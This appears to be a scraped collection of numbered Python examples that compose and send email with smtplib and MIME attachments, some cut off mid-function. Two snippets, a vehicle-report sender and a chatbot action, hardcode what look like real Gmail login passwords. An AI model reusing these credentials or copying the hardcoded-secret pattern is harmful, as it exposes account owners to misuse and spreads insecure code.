    body = module.params.get('body')
    attach_files = module.params.get('attach')
    headers = module.params.get('headers')
    charset = module.params.get('charset')
    subtype = module.params.get('subtype')
    secure = module.params.get('secure')
    timeout = module.params.get('timeout')

    code = 0
    secure_state = False
    sender_phrase, sender_addr = parseaddr(sender)

    if not body:
        body = subject

    smtp = smtplib.SMTP(timeout=timeout)

    if secure in ('never', 'starttls', 'try'):
        try:
            code, smtpmessage = smtp.connect(host, port=port)
        except smtplib.SMTPException as e:
            if secure == 'try':
                try:
                    smtp = smtplib.SMTP_SSL(timeout=timeout)
                    code, smtpmessage = smtp.connect(host, port=port)
                    secure_state = True
                except ssl.SSLError as e:
                    module.fail_json(
                        rc=1,
                        msg='Unable to start an encrypted session to %s:%s: %s'
                        % (host, port, to_native(e)),
                        exception=traceback.format_exc())
            else:
                module.fail_json(rc=1,
                                 msg='Unable to Connect to %s:%s: %s' %
                                 (host, port, to_native(e)),
                                 exception=traceback.format_exc())

    if (secure == 'always'):
        try:
            smtp = smtplib.SMTP_SSL(timeout=timeout)
            code, smtpmessage = smtp.connect(host, port=port)
            secure_state = True
        except ssl.SSLError as e:
            module.fail_json(
                rc=1,
                msg='Unable to start an encrypted session to %s:%s: %s' %
                (host, port, to_native(e)),
                exception=traceback.format_exc())

    if int(code) > 0:
        try:
            smtp.ehlo()
        except smtplib.SMTPException as e:
            module.fail_json(rc=1,
                             msg='Helo failed for host %s:%s: %s' %
                             (host, port, to_native(e)),
                             exception=traceback.format_exc())

        if secure in ('starttls', 'try'):
            if smtp.has_extn('STARTTLS'):
                try:
                    smtp.starttls()
                    smtp.ehlo()
                    auth_flag = smtp.has_extn('AUTH')
                    secure_state = True
                except smtplib.SMTPException as e:
                    module.fail_json(
                        rc=1,
                        msg='Unable to start an encrypted session to %s:%s: %s'
                        % (host, port, to_native(e)),
                        exception=traceback.format_exc())
            else:
                if secure == 'starttls':
                    module.fail_json(
                        rc=1,
                        msg='StartTLS is not offered on server %s:%s' %
                        (host, port))

    if username and password:
        if smtp.has_extn('AUTH'):
            try:
                smtp.login(username, password)
            except smtplib.SMTPAuthenticationError:
                module.fail_json(
                    rc=1,
                    msg=
                    'Authentication to %s:%s failed, please check your username and/or password'
                    % (host, port))
            except smtplib.SMTPException:
                module.fail_json(
                    rc=1,
                    msg='No Suitable authentication method was found on %s:%s'
                    % (host, port))
        else:
            module.fail_json(rc=1,
                             msg="No Authentication on the server at %s:%s" %
                             (host, port))

    if not secure_state and (username and password):
        module.warn('Username and Password was sent without encryption')

    msg = MIMEMultipart(_charset=charset)
    msg['From'] = formataddr((sender_phrase, sender_addr))
    msg['Subject'] = Header(subject, charset)
    msg.preamble = "Multipart message"

    for header in headers:
        # NOTE: Backward compatible with old syntax using '|' as delimiter
        for hdr in [x.strip() for x in header.split('|')]:
            try:
                h_key, h_val = hdr.split('=')
                h_val = to_native(Header(h_val, charset))
                msg.add_header(h_key, h_val)
            except:
                module.warn("Skipping header '%s', unable to parse" % hdr)

    if 'X-Mailer' not in msg:
        msg.add_header('X-Mailer', 'Ansible mail module')

    addr_list = []
    for addr in [x.strip() for x in blindcopies]:
        addr_list.append(parseaddr(addr)[1])  # address only, w/o phrase

    to_list = []
    for addr in [x.strip() for x in recipients]:
        to_list.append(formataddr(parseaddr(addr)))
        addr_list.append(parseaddr(addr)[1])  # address only, w/o phrase
    msg['To'] = ", ".join(to_list)

    cc_list = []
    for addr in [x.strip() for x in copies]:
        cc_list.append(formataddr(parseaddr(addr)))
        addr_list.append(parseaddr(addr)[1])  # address only, w/o phrase
    msg['Cc'] = ", ".join(cc_list)

    part = MIMEText(body + "\n\n", _subtype=subtype, _charset=charset)
    msg.attach(part)

    # NOTE: Backware compatibility with old syntax using space as delimiter is not retained
    #       This breaks files with spaces in it :-(
    for filename in attach_files:
        try:
            part = MIMEBase('application', 'octet-stream')
            with open(filename, 'rb') as fp:
                part.set_payload(fp.read())
            encoders.encode_base64(part)
            part.add_header('Content-disposition',
                            'attachment',
                            filename=os.path.basename(filename))
            msg.attach(part)
        except Exception as e:
            module.fail_json(
                rc=1,
                msg="Failed to send mail: can't attach file %s: %s" %
                (filename, to_native(e)),
                exception=traceback.format_exc())

    composed = msg.as_string()

    try:
        result = smtp.sendmail(sender_addr, set(addr_list), composed)
    except Exception as e:
        module.fail_json(rc=1,
                         msg="Failed to send mail to '%s': %s" %
                         (", ".join(set(addr_list)), to_native(e)),
                         exception=traceback.format_exc())

    smtp.quit()

    if result:
        for key in result:
            module.warn("Failed to send mail to '%s': %s %s" %
                        (key, result[key][0], result[key][1]))
        module.exit_json(msg='Failed to send mail to at least one recipient',
                         result=result)

    module.exit_json(msg='Mail sent successfully', result=result)
Esempio n. 48
0
    def enviarReporte(self):

        c = Creator()
        filejson = c.makeConfigJSON()
        nombreVehiculo = filejson["nameVehicule"]
        idVehiculo = Vehiculo.getIdvehiculo(Vehiculo, nombreVehiculo)


        #self.ids.correopantalla.text = filejson["mail"]
        import csv
        import smtplib
        import mimetypes

        # Importamos los módulos necesarios
        from email.mime.multipart import MIMEMultipart
        from email.mime.text import MIMEText
        from email.encoders import encode_base64

        fechai = 0
        fechaf = -1
        validarFecha = True
        try:
            fechai = datetime.strptime(self.ids.fechaInicial.text, "%d/%m/%Y").date()
            fechaf = datetime.strptime(self.ids.fechaFinal.text, "%d/%m/%Y").date()
        except:
            validarFecha=False #si la fecha esta mal
            print("entramos a la excepcion")

        if fechai > fechaf:
            self.ids.advertenciaResporte.text="fechas invalidas"
        elif validarFecha:
            self.ids.advertenciaResporte.text=""
            mto = Mantenimiento.getAllMtos(Mantenimiento, fechai, fechaf,idVehiculo)
            rec = Recarga.getAllRecargas(Recarga, fechai, fechaf, idVehiculo)
            f=open("reporteVehiculo.csv", "w")
            f.close()
            with open('reporteVehiculo.csv', 'w') as csvfile:
                spamwriter = csv.writer(csvfile, delimiter=' ',
                                        quotechar='|', quoting=csv.QUOTE_MINIMAL)
                spamwriter.writerow(['Recargas del Vehiculo'])
                spamwriter.writerow(['Fecha', 'Precio', 'Kilometros recorridos'])
                for i in range(len(rec)):
                    #spamwriter.writerow(['Fecha'+str(i)]+ ['Precio'+str(i)]+ ['Kilometros recorridos'+str(i)])
                    spamwriter.writerow( [[rec[i][2] ] + [   str(rec[i][1]) ]  + [  str(Tacometro.getValorTacByID(Tacometro,rec[i][3])) ]])
                spamwriter.writerow(['Mantenimientos del Vehiculo'])
                spamwriter.writerow(['Fecha', 'Precio', 'Kilometros recorridos', 'Descripcion'])
                for i in range(len(mto)):
                    #spamwriter.writerow(['Fecha'+str(i)]+ ['Precio'+str(i)]+ ['Kilometros recorridos'+str(i)])
                    spamwriter.writerow([ [  mto[i][3] ] + [str(mto[i][1]) ] + [str(Tacometro.getValorTacByID(Tacometro,mto[i][4] )) ] + [mto[i][2] ]])


            # Creamos objeto Multipart, quien será el recipiente que enviaremos
            msg = MIMEMultipart()
            msg['From']="*****@*****.**"
            msg['To'] = self.ids.correopantalla.text
            msg['Subject']="Reporte del vehiculo: " +  nombreVehiculo

            # Adjuntamos Imagen
            file = open("reporteVehiculo.csv", "r")
            attach_image = MIMEText(file.read())
            attach_image.add_header('Content-Disposition', 'attachment; filename = "reporteVehiculo.csv"')
            msg.attach(attach_image)

            # Autenticamos
            mailServer = smtplib.SMTP('smtp.gmail.com',587)
            mailServer.ehlo()
            mailServer.starttls()
            mailServer.ehlo()
            mailServer.login("*****@*****.**","laboratoriodesw20191")

            # Enviamos
            mailServer.sendmail("*****@*****.**", self.ids.correopantalla.text, msg.as_string())

            # Cerramos conexión
            mailServer.close()
Esempio n. 49
0
    def addAttachments(self, mainmsg, bodytext, attaches, bodytextEncoding,
                       attachesEncodings):
        """
        format a multipart message with attachments;
        use Unicode encodings for text parts if passed;
        """
        # add main text/plain part
        msg = MIMEText(bodytext, _charset=bodytextEncoding)
        mainmsg.attach(msg)

        # add attachment parts
        encodings = attachesEncodings or (['us-ascii'] * len(attaches))
        for (filename, fileencode) in zip(attaches, encodings):
            # filename may be absolute or relative
            if not os.path.isfile(filename):  # skip dirs, etc.
                continue

            # guess content type from file extension, ignore encoding
            contype, encoding = mimetypes.guess_type(filename)
            if contype is None or encoding is not None:  # no guess, compressed?
                contype = 'application/octet-stream'  # use generic default
            self.trace('Adding ' + contype)

            # build sub-Message of appropriate kind
            maintype, subtype = contype.split('/', 1)
            if maintype == 'text':  # 4E: text needs encoding
                if fix_text_required(fileencode):  # requires str or bytes
                    data = open(filename, 'r', encoding=fileencode)
                else:
                    data = open(filename, 'rb')
                msg = MIMEText(data.read(),
                               _subtype=subtype,
                               _charset=fileencode)
                data.close()

            elif maintype == 'image':
                data = open(filename, 'rb')  # 4E: use fix for binaries
                msg = MIMEImage(data.read(),
                                _subtype=subtype,
                                _encoder=fix_encode_base64)
                data.close()

            elif maintype == 'audio':
                data = open(filename, 'rb')
                msg = MIMEAudio(data.read(),
                                _subtype=subtype,
                                _encoder=fix_encode_base64)
                data.close()

            elif maintype == 'application':  # new  in 4E
                data = open(filename, 'rb')
                msg = MIMEApplication(data.read(),
                                      _subtype=subtype,
                                      _encoder=fix_encode_base64)
                data.close()

            else:
                data = open(filename, 'rb')  # application/* could
                msg = MIMEBase(maintype, subtype)  # use this code too
                msg.set_payload(data.read())
                data.close()  # make generic type
                fix_encode_base64(msg)  # was broken here too!
            #email.encoders.encode_base64(msg)        # encode using base64

            # set filename (ascii or utf8/mime encoded) and attach to container
            basename = self.encodeHeader(
                os.path.basename(filename))  # oct 2011
            msg.add_header('Content-Disposition',
                           'attachment',
                           filename=basename)
            mainmsg.attach(msg)

        # text outside mime structure, seen by non-MIME mail readers
        mainmsg.preamble = 'A multi-part MIME format message.\n'
        mainmsg.epilogue = ''  # make sure message ends with a newline
Esempio n. 50
0
from email import encoders
from email.message import Message
from email.mime.audio import MIMEAudio
from email.mime.base import MIMEBase
from email.mime.image import MIMEImage
from email.mime.text import MIMEText
import time

sendfrom = "*****@*****.**"
sendto = "*****@*****.**"

msg = MIMEMultipart()
msg["subject"] = "WEEKLY NEW MOVER UPDATE QC"
msg["from"] = sendfrom
msg["to"] = sendto

text = "hello,\n\nnew mover weekly update has been accomplished!\n\nplease see the attachments for qc.\n\nthank you!"
filename = "/project/CACDIRECT/CODE/PROD/NEW_MOVER/AWS/LOGS/qc_newmover_update_" + str(
    time.strftime("%m-%d-%Y")) + ".csv"
f = open(filename)

attachment = MIMEText(f.read(), _subtype=None)
attachment.add_header("Content-Disposition", 'attachment', filename=filename)
part1 = MIMEText(text, 'plain')
msg.attach(attachment)
msg.attach(part1)
s = smtplib.SMTP('localhost')
s.sendmail(sendfrom, sendto, msg.as_string())
s.quit()
f.close()
Esempio n. 51
0
def _createMessageWithAttachments(sender,
                                  recipient,
                                  subject,
                                  body,
                                  attachments,
                                  cc=None,
                                  bcc=None):
    """Creates a MIMEText object and returns it as a base64 encoded string in a {'raw': b64_MIMEText_object} dictionary, suitable for use by _sendMessage() and the
    users.messages.send(). File attachments can also be added to this message.

    `attachments` is a list of strings of filenames."""
    message = MIMEMultipart()
    message['to'] = recipient
    message['from'] = sender
    message['subject'] = subject
    if cc is not None:
        message['cc'] = cc
    if bcc is not None:
        message['bcc'] = bcc

    messageMimeTextPart = MIMEText(body, 'plain')
    message.attach(messageMimeTextPart)

    if isinstance(attachments, str):
        attachments = [attachments
                       ]  # If it's a string, put `attachments` in a list.

    for attachment in attachments:
        # Check that the file exists.
        if not os.path.exists(attachment):
            raise EZGmailException(
                '%r passed for attachment but %s does not exist.' %
                (attachment, os.path.abspath(attachment)))

        content_type, encoding = mimetypes.guess_type(attachment)

        if content_type is None or encoding is not None:
            content_type = 'application/octet-stream'
        main_type, sub_type = content_type.split('/', 1)

        if main_type == 'text':
            fp = open(attachment, 'r')
            mimePart = MIMEText(fp.read(), _subtype=sub_type)
        else:
            fp = open(attachment, 'rb')
            if main_type == 'image':
                mimePart = MIMEImage(fp.read(), _subtype=sub_type)
            elif main_type == 'audio':
                mimePart = MIMEAudio(fp.read(), _subtype=sub_type)
            else:
                mimePart = MIMEBase(main_type, sub_type)
                mimePart.set_payload(fp.read())
        fp.close()

        filename = os.path.basename(attachment)
        mimePart.add_header('Content-Disposition',
                            'attachment',
                            filename=filename)
        message.attach(mimePart)

    return {
        'raw': base64.urlsafe_b64encode(message.as_bytes()).decode('ascii')
    }
Esempio n. 52
0
 def attach_text_file(self, filename, content):
     """Attach a text file to this email.
     """
     msg = MIMEText(content)
     msg.add_header('Content-Disposition', 'attachment', filename=filename)
     self.files.append(msg)
Esempio n. 53
0
def send_error_mail(job):
    """
    send out diagnostic email
    """
    logger = logging.getLogger(__name__)

    # create message
    subject = "GridMap error {}".format(job.name)
    attachments = list()

    # compose error message
    body_text = ""
    body_text += "Job {}\n".format(job.name)
    body_text += "Last timestamp: {}\n".format(job.timestamp)
    body_text += "Resubmissions: {}\n".format(job.num_resubmits)
    body_text += "Cause of death: {}\n".format(job.cause_of_death)

    if job.heart_beat:
        body_text += "Last memory usage: {}\n".format(job.heart_beat["memory"])
        body_text += "Last cpu load: {}\n".format(
            job.heart_beat["cpu_load"][0])
        body_text += ("Process was running at last check: " + "{}\n\n").format(
            job.heart_beat["cpu_load"][1])

    body_text += "Host: {}\n\n".format(job.host_name)

    if isinstance(job.ret, Exception):
        body_text += "Job encountered exception: {}\n".format(job.ret)
        body_text += "Stacktrace: {}\n\n".format(job.traceback)

    # attach log file
    if job.heart_beat and "log_file" in job.heart_beat:
        log_file_attachement = MIMEText(job.heart_beat['log_file'])
        log_file_attachement.add_header('Content-Disposition',
                                        'attachment',
                                        filename='{}_log.txt'.format(job.id))
        attachments.append(log_file_attachement)

    # if matplotlib is installed
    if CREATE_PLOTS:
        #TODO: plot to cstring directly (some code is there)
        #imgData = cStringIO.StringIO()
        #plt.savefig(imgData, format='png')

        # rewind the data
        #imgData.seek(0)
        #plt.savefig(imgData, format="png")

        time = [HEARTBEAT_FREQUENCY * i for i in range(len(job.track_mem))]

        # attack mem plot
        img_mem_fn = os.path.join('/tmp', "{}_mem.png".format(job.id))
        plt.figure(1)
        plt.plot(time, job.track_mem, "-o")
        plt.xlabel("time (s)")
        plt.ylabel("memory usage")
        plt.savefig(img_mem_fn)
        plt.close()
        with open(img_mem_fn, "rb") as img_mem:
            img_data = img_mem.read()
        img_mem_attachement = MIMEImage(img_data)
        img_mem_attachement.add_header('Content-Disposition',
                                       'attachment',
                                       filename=os.path.basename(img_mem_fn))
        attachments.append(img_mem_attachement)

        # attach cpu plot
        img_cpu_fn = os.path.join("/tmp", "{}_cpu.png".format(job.id))
        plt.figure(2)
        plt.plot(time, [cpu_load for cpu_load, _ in job.track_cpu], "-o")
        plt.xlabel("time (s)")
        plt.ylabel("cpu load")
        plt.savefig(img_cpu_fn)
        plt.close()
        with open(img_cpu_fn, "rb") as img_cpu:
            img_data = img_cpu.read()
        img_cpu_attachement = MIMEImage(img_data)
        img_cpu_attachement.add_header('Content-Disposition',
                                       'attachment',
                                       filename=os.path.basename(img_cpu_fn))
        attachments.append(img_cpu_attachement)

    # Send mail
    _send_mail(subject, body_text, attachments)

    # Clean up plot temporary files
    if CREATE_PLOTS:
        os.unlink(img_cpu_fn)
        os.unlink(img_mem_fn)
Esempio n. 54
0
    def run(self, dispatcher, tracker, domain):
        #Action para realizar o envio do email com os dados do usuário.
        #Se não ocorreu o cancelamento do envio do email, buscam-se os slots preenchidos no formulário,
        #sendo esses utilizados para preencher uma mensagem (message_template). Além disso, através da
        #função make_txt_conversation (make_txt.py), utilizando o tracker como base, é reconstruída
        #a interação entre o usuário e o bot, sendo esse arquivo enviado em anexo no email

        if tracker.get_slot("canceled") == False:
            try:
                #Busca dos slots
                name = tracker.get_slot("user_name")
                email = tracker.get_slot("email")
                number_contact = tracker.get_slot("number_contact")
                message = tracker.get_slot("user_message")

                if message is False or message is None:
                    message = "Não informado"

                # Mensagem a ser enviada
                message_template = Template(
                    '$PERSON_NAME, \n\nSegue abaixo os dados do usuário que entrou em contato comigo:\n\nNome: $USER_NAME\nE-mail: $USER_EMAIL\nNúmero: $USER_NUMBER\nMensagem: $USER_MESSAGE\n\nAtenciosamente, \nHermes, o mensageiro virtual da Kyros'
                )

                #Configurações para envio do email
                s = smtplib.SMTP(host='smtp.gmail.com', port=587)
                s.starttls()
                s.login('*****@*****.**', '1511#Chocolate')

                #Dados de quem irá receber o email (podem ser colocadas mais de uma pessoa)
                names_email = ['Júlia']
                email_send = ['*****@*****.**']

                if os.path.exists("data.json"):
                    os.remove("data.json")

                with open("data.json", "w") as write_file:
                    json.dump(tracker.current_state(), write_file)

                #Reconstrução da conversa (salva em txt)
                make_txt_conversation('data.json')

                #Para cada contato definido, envia-se o email
                for names_email, email_send in zip(names_email, email_send):
                    msg = MIMEMultipart()  # create a message
                    sub = {
                        'PERSON_NAME': name.title(),
                        'USER_NAME': name.title(),
                        'USER_EMAIL': email,
                        'USER_NUMBER': number_contact
                    }

                    #Adicionar o nome da pessoa no template
                    message = message_template.substitute(
                        PERSON_NAME='Olá',
                        USER_NAME=name.title(),
                        USER_EMAIL=str(email),
                        USER_NUMBER=str(number_contact),
                        USER_MESSAGE=str(message))

                    #Configurar os parâmetros do email
                    msg['From'] = '*****@*****.**'
                    msg['To'] = email_send
                    msg['Subject'] = "Usuário entrou em contato"

                    #Adicionar a mensagem
                    msg.attach(MIMEText(message, 'plain'))

                    #Adicionar arquivo txt em anexo
                    f = open("conversa_bot.txt", "r")
                    attachment = MIMEText(f.read())
                    attachment.add_header('Content-Disposition',
                                          'attachment',
                                          filename='conversa_bot.txt')
                    msg.attach(attachment)

                    # send the message via the server set up earlier.
                    s.send_message(msg)

                    del msg

                # dispatcher.utter_message("Já enviei o seus dados para um de nossos colaboradores. Entraremos em contato em breve")
                dispatcher.utter_message(
                    "Já enviei os seus dados para um de nossos colaboradores. Entraremos em contato em breve."
                )
                dispatcher.utter_template("utter_ask_inform", tracker)

                print("Email enviado com sucesso!!")
                return []

            except:
                dispatcher.utter_message(
                    "Desculpe, mas ocorreu um erro e não consegui enviar o email"
                )
                return []
        else:
            dispatcher.utter_message(
                "Desculpe, mas tive um problema e não consegui enviar o e-mail. Por favor, informe seu e-mail novamente"
            )
            return []
Esempio n. 55
0
    def sendmail(self):
        rep_datetime = datetime.today() - timedelta(1)
        rep_date = rep_datetime.date().strftime("%Y_%b_%d")
        # Define these once; use them twice!
        strFrom = '*****@*****.**'
        strTo = "'*****@*****.**','*****@*****.**'"

        os.chdir('C:/Users/*****/Desktop/Reports/Expedia')

        recipients = ['*****@*****.**', '*****@*****.**']
        emaillist = [elem.strip().split(',') for elem in recipients]
        msg = MIMEMultipart()

        msg['Subject'] = 'Auto Generated Expedia Report ' + str(rep_date)
        msg['From'] = '*****@*****.**'
        msg['To'] = "'*****@*****.**','*****@*****.**'"
        msg.preamble = 'Multipart message.\n'
        reportFile = 'Expedia  ' + str(rep_date) + '.pdf'

        reportFile1 = 'Confirmed Tickets ' + str(rep_date) + '.pdf'
        reportFile2 = 'Cancelled Tickets ' + str(rep_date) + '.pdf'
        reportFile3 = 'Exchanged Tickets' + str(rep_date) + '.pdf'
        reportFile4 = 'Void Tickets  ' + str(rep_date) + '.pdf'
        reportFile5 = 'Credit Note Generated For ' + str(rep_date) + '.pdf'
        reportFile6 = 'Searches & Conversions ' + str(rep_date) + '.pdf'
        reportFile7 = 'Ticket Issuance TAT  ' + str(rep_date) + '.pdf'

        from PyPDF2 import PdfFileWriter, PdfFileReader

        def append_pdf(input, output):
            [
                output.addPage(input.getPage(page_num))
                for page_num in range(input.numPages)
            ]

        output = PdfFileWriter()

        append_pdf(PdfFileReader(open(reportFile1, "rb")), output)
        append_pdf(PdfFileReader(open(reportFile2, "rb")), output)
        append_pdf(PdfFileReader(open(reportFile3, "rb")), output)
        append_pdf(PdfFileReader(open(reportFile4, "rb")), output)
        append_pdf(PdfFileReader(open(reportFile5, "rb")), output)
        append_pdf(PdfFileReader(open(reportFile6, "rb")), output)
        append_pdf(PdfFileReader(open(reportFile7, "rb")), output)

        report_path = 'C:/Users/****/Desktop/Reports/Expedia' + '/' + reportFile
        output.write(open(report_path, "wb"))
        report_path1 = 'C:/Users/*****/Desktop/Reports/Expedia' + '/' + reportFile1
        report_path2 = 'C:/Users/*****/Desktop/Reports/Expedia' + '/' + reportFile2
        report_path3 = 'C:/Users/*****/Desktop/Reports/Expedia' + '/' + reportFile3

        report_path4 = 'C:/Users/*****/Desktop/Reports/Expedia' + '/' + reportFile5
        report_path4 = 'C:/Users/******/Desktop/Reports/Expedia' + '/' + reportFile6
        report_path4 = 'C:/Users/*****/Desktop/Reports/Expedia' + '/' + reportFile7

        if os.path.exists(report_path1):

            body = '''
Hi,

Please find Expedia Report.


Thanks and Regards,
Mrinal Kishore | Data Engineer
E: *******@mystifly.com



            '''
            part = MIMEText(body)
            msg.attach(part)

            # part = MIMEApplication(open(str(report_path1),"rb").read())
            # part.add_header('Content-Disposition', 'attachment', filename=str(reportFile1))
            # msg.attach(part)
            #
            # part = MIMEApplication(open(str(report_path2),"rb").read())
            # part.add_header('Content-Disposition', 'attachment', filename=str(reportFile2))
            # msg.attach(part)
            #
            # part = MIMEApplication(open(str(report_path3),"rb").read())
            # part.add_header('Content-Disposition', 'attachment', filename=str(reportFile3))
            # msg.attach(part)
            #
            # part = MIMEApplication(open(str(report_path4),"rb").read())
            # part.add_header('Content-Disposition', 'attachment', filename=str(reportFile4))
            # msg.attach(part)

            part = MIMEApplication(open(str(report_path), "rb").read())
            part.add_header('Content-Disposition',
                            'attachment',
                            filename=str(reportFile))
            msg.attach(part)
        else:
            body = '''

Hi,

No Report has been generated.


Thanks and Regards,
Mrinal Kishore | Data Engineer
E: [email protected]


            '''
            part = MIMEText(body)
            msg.attach(part)

        try:
            server = smtplib.SMTP("outlook.office365.com", 587, timeout=120)
            server.ehlo()
            server.starttls()
            server.login("*********@mystifly.com", "Password")
            server.sendmail(msg['From'], emaillist, msg.as_string())
            print("Mail Sent Successfully :: ")
        except Exception as e:
            print("Problem sending mail : ", e)
Esempio n. 56
0
                    fb = open(path)
                    files = MIMEText(fp.read(), _subtype=subtype)
                    filename = fb.name
                    fb.close()
                elif maintype == 'image':
                    fb = open(path, 'rb')
                    files = MIMEImage(fb.read(), _subtype=subtype)
                    filename = fb.name
                    fb.close()
                elif maintype == 'audio':
                    fp = open(path, 'rb')
                    files = MIMEAudio(fp.read(), _subtype=subtype)
                    filename = fp.name
                    fp.close()
                else:
                    fp = open(path, 'rb')
                    files = MIMEBase(maintype, subtype)
                    files.set_payload(fp.read())
                    filename = fp.name
                    fp.close()
                    encoders.encode_base64(files)
                files.add_header('Content-Disposition',
                                 'attachment',
                                 filename=filename)
                msg.attach(files)
        server.send_message(msg)
        print("Email sent sucessfully!")
    except:
        print(
            "Login was unsucessfull! read the README.md file for instruction")
Esempio n. 57
0
def createMessageWithAttachment(sender, to, subject, message_text_html,
                                message_text_plain, attached_file):
    """Create a message for an email.

    message_text: The text of the email message.
    attached_file: The path to the file to be attached.

    Returns:
    An object containing a base64url encoded email object.
    """

    ##An email is composed of 3 part :
    #part 1: create the message container using a dictionary { to, from, subject }
    #part 2: attach the message_text with .attach() (could be plain and/or html)
    #part 3(optional): an attachment added with .attach()

    ## Part 1
    message = MIMEMultipart(
    )  #when alternative: no attach, but only plain_text
    message['to'] = to
    message['from'] = sender
    message['subject'] = subject

    ## Part 2   (the message_text)
    # The order count: the first (html) will be use for email, the second will be attached (unless you comment it)
    message.attach(MIMEText(message_text_html, 'html'))
    #message.attach(MIMEText(message_text_plain, 'plain'))

    ## Part 3 (attachement)
    # # to attach a text file you containing "test" you would do:
    # # message.attach(MIMEText("test", 'plain'))

    #-----About MimeTypes:
    # It tells gmail which application it should use to read the attachement (it acts like an extension for windows).
    # If you dont provide it, you just wont be able to read the attachement (eg. a text) within gmail. You'll have to download it to read it (windows will know how to read it with it's extension).

    #-----3.1 get MimeType of attachment
    #option 1: if you want to attach the same file just specify it’s mime types

    #option 2: if you want to attach any file use mimetypes.guess_type(attached_file)

    my_mimetype, encoding = mimetypes.guess_type(attached_file)

    # If the extension is not recognized it will return: (None, None)
    # If it's an .mp3, it will return: (audio/mp3, None) (None is for the encoding)
    #for unrecognized extension it set my_mimetypes to  'application/octet-stream' (so it won't return None again).
    if my_mimetype is None or encoding is not None:
        my_mimetype = 'application/octet-stream'

    main_type, sub_type = my_mimetype.split('/',
                                            1)  # split only at the first '/'
    # if my_mimetype is audio/mp3: main_type=audio sub_type=mp3

    #-----3.2  creating the attachement
    #you don't really "attach" the file but you attach a variable that contains the "binary content" of the file you want to attach

    #option 1: use MIMEBase for all my_mimetype (cf below)  - this is the easiest one to understand
    #option 2: use the specific MIME (ex for .mp3 = MIMEAudio)   - it's a shorcut version of MIMEBase

    #this part is used to tell how the file should be read and stored (r, or rb, etc.)
    if main_type == 'text':
        print("text")
        temp = open(
            attached_file, 'r'
        )  # 'rb' will send this error: 'bytes' object has no attribute 'encode'
        attachement = MIMEText(temp.read(), _subtype=sub_type)
        temp.close()

    elif main_type == 'image':
        print("image")
        temp = open(attached_file, 'rb')
        attachement = MIMEImage(temp.read(), _subtype=sub_type)
        temp.close()

    elif main_type == 'audio':
        print("audio")
        temp = open(attached_file, 'rb')
        attachement = MIMEAudio(temp.read(), _subtype=sub_type)
        temp.close()

    elif main_type == 'application' and sub_type == 'pdf':
        temp = open(attached_file, 'rb')
        attachement = MIMEApplication(temp.read(), _subtype=sub_type)
        temp.close()

    else:
        attachement = MIMEBase(main_type, sub_type)
        temp = open(attached_file, 'rb')
        attachement.set_payload(temp.read())
        temp.close()

    #-----3.3 encode the attachment, add a header and attach it to the message
    encoders.encode_base64(
        attachement)  #https://docs.python.org/3/library/email-examples.html
    filename = os.path.basename(attached_file)
    attachement.add_header('Content-Disposition',
                           'attachment',
                           filename=filename)  # name preview in email
    message.attach(attachement)

    ## Part 4 encode the message (the message should be in bytes)
    message_as_bytes = message.as_bytes(
    )  # the message should converted from string to bytes.
    message_as_base64 = base64.urlsafe_b64encode(
        message_as_bytes)  #encode in base64 (printable letters coding)
    raw = message_as_base64.decode(
    )  # need to JSON serializable (no idea what does it means)
    return {'raw': raw}
Esempio n. 58
0
def main():
    global MAX_VERSION_AGE
    global MAX_VERSION_AGE_NONLTS
    global THRESHOLDS
    global RELEASE_URGENCY

    SEND_MAIL = False
    VERSIONS = []
    issues = {}
    BUGQUEUE = {}
    BUGS = {"bugs": []}
    email_message = """Hi,

This is a friendly bot that watches fixes pending for the next lolproxy-stable release!  One such e-mail is sent periodically once patches are waiting in the last maintenance branch, and an ideal release date is computed based on the severity of these fixes and their merge date.  Responses to this mail must be sent to the mailing list.

"""

    parser = argparse.ArgumentParser(
        description='LOLProxy Stable Release Estimator')
    parser.add_argument('--print',
                        action="store_true",
                        help='Print email only')
    parser.add_argument('--to-email',
                        nargs=1,
                        required=False,
                        help='Send email to <email>')
    parser.add_argument('--from-email',
                        nargs=1,
                        required=False,
                        help='Send email from <email>')
    parser.add_argument('--send-mail', action="store_true", help='Send email')
    args = parser.parse_args()

    if not args.print and not args.send_mail and not args.to_email and not args.from_email:
        parser.print_help()
        sys.exit()

    if args.send_mail and (not args.to_email or not args.from_email):
        parser.print_help()
        sys.exit()

    if args.to_email:
        check_for_email(args.to_email[0], parser)
        TO_EMAIL = args.to_email[0]

    if args.from_email:
        check_for_email(args.from_email[0], parser)
        FROM_EMAIL = args.from_email[0]

    if args.send_mail:
        SEND_MAIL = True

    if SEND_MAIL:
        try:
            TO_EMAIL
            FROM_EMAIL
        except:
            parser.print_help()
            sys.exit()

    #
    # Let's get the list of the current stable versions
    #

    page = requests.get('http://www.lolproxy.org/bugs/')
    tree = html.fromstring(page.content)

    for x in (tree.xpath('//th')):
        if x.xpath('./a/text()'):
            VERSIONS.append(x.xpath('./a/text()')[0])

    #
    # For each version let's check it's age. We'll apply the following logic:
    #  - Skip the release if it's:
    #    * older than MAX_VERSION_AGE days
    #    * older than MAX_VERSION_AGE_NONLTS days and an odd numbered release (1.9,2.1,2.3)
    #
    # For all other valid releases we will then collect the number of bug fixes
    # in queue for each of the defined severity levels:
    #  - BUG
    #  - BUILD
    #  - MINOR
    #  - MEDIUM
    #  - MAJOR
    #  - CRITICAL
    #
    # We'll then begin calculating the proposed release date based on the last
    # release date plus the first commit date of the first bug fix for the defined
    # severity level.
    #
    # By default the proposed release dates use the following padding:
    #  (Can be modified in THRESHOLDS)
    #  - BUG/BUILD/MINOR - 28 days
    #  - MEDIUM - 30 days
    #  - MAJOR - 14 days
    #  - CRITICAL - 2 days
    #
    # After we have a proposed release date we will assign a release urgency
    # to it. As we get closer to the proposed release date the urgency level changes.
    # By default the urgency levels and their times are:
    #  - WARNING - proposed date is 7 days or less
    #  - NOTICE  - proposed date is 21 days or less
    #  - INFO    - proposed date is longer than the above
    #

    for version in VERSIONS:
        BUGQUEUE[version] = {"total": 0, "last": ""}
        VERSION_THRESHOLDS = copy.deepcopy(THRESHOLDS)
        print("Collecting information on %s" % (version))
        page = requests.get('http://www.lolproxy.org/bugs/bugs-%s.html' %
                            (version))
        tree = html.fromstring(page.content)

        issues[version] = {}
        issues_count = {}
        release_soon = False
        num_to_word = {
            1: 'one',
            2: 'two',
            3: 'three',
            4: 'four',
            5: 'five',
            6: 'six',
            7: 'seven',
            8: 'eight',
            9: 'nine',
            10: 'ten',
            11: 'eleven',
            12: 'twelve',
            13: 'thirteen',
        }

        # parse out the CHANGELOG link
        CHANGELOG = tree.xpath('//a[contains(@href,"CHANGELOG")]/@href')[0]

        last_version = tree.xpath(
            '//td[contains(text(), "last")]/../td/a/text()')[0]
